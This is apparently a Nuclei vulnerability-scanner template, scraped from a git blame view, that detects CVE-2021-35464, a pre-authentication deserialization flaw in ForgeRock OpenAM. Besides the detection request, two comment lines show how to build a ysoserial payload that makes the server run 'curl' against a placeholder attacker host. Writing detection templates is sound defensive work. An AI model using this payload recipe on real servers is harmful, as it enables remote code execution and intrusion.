2021-06-29 12:32:33 +00:00
|
|
|
id: CVE-2021-35464
|
2021-06-29 11:56:37 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
author: madrobot
|
|
|
|
name: Pre-auth RCE in ForgeRock OpenAM
|
|
|
|
description: ForgeRock OpenAM unsafe Java deserialization RCE.
|
|
|
|
severity: critical
|
|
|
|
tags: cve,cve2021,openam,rce,java
|
|
|
|
reference: |
|
|
|
|
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
|
|
|
|
|
2021-06-29 21:31:13 +00:00
|
|
|
# '{{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>'
|
|
|
|
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
|
|
|
|
|
2021-06-29 11:56:37 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "Set-Cookie: JSESSIONID="
|
|
|
|
part: header
|
2021-06-29 21:31:13 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "Version Information -"
|
|
|
|
part: body
|